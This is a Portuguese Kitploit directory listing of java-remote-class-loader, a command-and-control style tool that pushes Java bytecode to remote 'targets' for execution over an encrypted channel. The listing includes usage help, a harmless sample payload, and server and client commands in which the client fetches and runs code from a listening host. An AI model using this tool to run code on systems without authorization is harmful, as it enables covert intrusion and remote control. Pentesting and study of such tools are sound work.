Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
java-remote-class-loader — Ferramenta cliente-servidor para carregar e executar remotamente bytecode Java via ClassLoader e API Reflect, com criptografia ChaCha20 e conexão keepalive. | Kitploit
Ferramentas/GitHubGitHub/joaovarelas/java-remote-class-loader
Ferramentas de Criptografia/DescriptografiaGeração de PayloadsExploraçãoComando e ControleFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubjoaovarelas/java-remote-class-loader

java-remote-class-loader

Ferramenta cliente-servidor para carregar e executar remotamente bytecode Java via ClassLoader e API Reflect, com criptografia ChaCha20 e conexão keepalive.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
346há 3 anosRevisado pelo Kitploit

java-remote-class-loader

Esta ferramenta permite-lhe enviar bytecode Java na forma de ficheiros de classe para os seus clientes (ou potenciais alvos) para carregar e executar usando Java ClassLoader juntamente com a API Reflect. O cliente recebe o ficheiro de classe do servidor e retorna o respetivo resultado da execução. As cargas úteis devem ser escritas em Java e compiladas antes de iniciar o servidor.

Funcionalidades

  • Arquitetura cliente-servidor
  • Carregamento remoto de ficheiros de classe Java
  • Criptografia em trânsito usando cifra ChaCha20
  • Configurações definidas via argumentos
  • Mecanismo de keepalive para restabelecer comunicação se o servidor reiniciar

Instalação

A ferramenta foi testada usando OpenJDK 11 com JRE Java Package, tanto no Windows como no Linux (versão portátil zip). A versão Java deve ser 11 ou superior devido a dependências.

https://www.openlogic.com/openjdk-downloads

Utilização

root@kitploit:~
$ java -jar java-class-loader.jar -help

usage: Main
 -address <arg>       address to connect (client) / to bind (server)
 -classfile <arg>     filename of bytecode .class file to load remotely
                      (default: Payload.class)
 -classmethod <arg>   name of method to invoke (default: exec)
 -classname <arg>     name of class (default: Payload)
 -client              run as client
 -help                print this message
 -keepalive           keeps the client getting classfile from server every
                      X seconds (default: 3 seconds)
 -key <arg>           secret key - 256 bits in base64 format (if not
                      specified it will generate a new one)
 -port <arg>          port to connect (client) / to bind (server)
 -server              run as server

Exemplo

Assumindo que tem a seguinte carga útil "Hello World" no ficheiro Payload.java:

root@kitploit:~
//Payload.java
public class Payload {
    public static String exec() {
        String output = "";
        try {
            output = "Hello world from client!";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output;
    }
}

De seguida, deve compilar e produzir o respetivo ficheiro Payload.class.

Para executar o processo servidor a ouvir na porta 1337 em todas as interfaces de rede:

root@kitploit:~
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Do lado do cliente, pode usar o mesmo pacote JAR com a flag -client e usar a chave simétrica gerada pelo servidor. Especifique o endereço IP e porta do servidor para se conectar. Pode também alterar o nome da classe e o método da classe (os predefinidos são Payload e String exec(), respetivamente). Adicionalmente, pode especificar -keepalive para manter o cliente a solicitar o ficheiro de classe do servidor enquanto mantém a ligação.

root@kitploit:~
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

Referências

Consulte https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ para um artigo de blogue relacionado com o desenvolvimento desta ferramenta.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

Baixar ferramenta